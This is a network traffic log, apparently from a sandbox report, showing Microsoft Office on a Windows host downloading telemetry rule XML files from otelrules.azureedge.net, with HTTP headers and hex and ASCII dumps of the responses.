2024-11-19 19:05:19 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:19 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 8753231e-501e-008f-038c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190519Z-185f5d8b95ctl8xlhC1NYCn94g000000099g0000000043k5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:19 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.7	49705	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:19 UTC	192	OUT	GET /rules/rule120100v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:19 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:19 GMT Content-Type: text/xml Content-Length: 1000 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB097AFC9" x-ms-request-id: e8aec935-001e-0046-54a1-3ada4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190519Z-185f5d8b95c95vpshC1NYC759c000000094000000000n228 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:19 UTC	1000	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 31 30 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 32 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 52 65 73 75 6d 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 49 20 54 3d 22 33 22 20 49 3d 22 33 30 73 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 35 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120100" V="3" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <A T="2" E="TelemetryResume" /> <TI T="3" I="30s" /> <R T="4" R="120100" /> <TH T="5">

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.7	49707	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:20 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:20 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:20 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: e579fe48-a01e-001e-648c-3a49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190520Z-185f5d8b95cwtv72hC1NYC141w00000009500000000011rm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:20 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.7	49711	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:20 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:20 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 70a275ef-201e-0051-048c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190520Z-185f5d8b95cdh56ghC1NYCk1x40000000310000000008ub7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:20 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.7	49708	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:20 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:20 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 3126d9de-f01e-0099-4d8c-3a9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190520Z-1777c6cb754rz2pghC1TEBghen00000008bg00000000m3tt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:20 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.7	49709	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:20 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:20 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:20 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: bfe6cc7a-201e-006e-7e8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190520Z-1777c6cb754dqf99hC1TEB5nps00000008cg000000008edg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:20 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.7	49710	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:20 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:20 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 1e988f1d-b01e-0070-1b8c-3a1cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190520Z-185f5d8b95c96jn4hC1NYCbgp8000000095g00000000az8q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:20 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.7	49712	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:21 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:21 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:21 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 7f65a9a1-801e-0067-788c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190521Z-1777c6cb754g9zd5hC1TEBfvpw00000008ng00000000dd23 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:21 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.7	49715	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:22 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:22 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: bdf962e5-c01e-0066-1b8c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190522Z-1777c6cb754whff4hC1TEBcd6c00000007500000000093h5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:22 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.7	49713	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:22 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:22 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 79148a84-101e-0017-578c-3a47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190522Z-185f5d8b95c4bhwphC1NYCs8gw000000097000000000rp5n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:22 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.7	49716	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:22 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:22 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: eb1ded04-b01e-0097-298c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190522Z-r1d97b9957789nh9hC1TEBxha800000007u000000000mk51 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:22 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.7	49714	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:22 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:22 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: a1d80e42-301e-0096-338c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190522Z-185f5d8b95cdtclvhC1NYC4rmc000000098000000000mykx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:22 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.7	49717	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
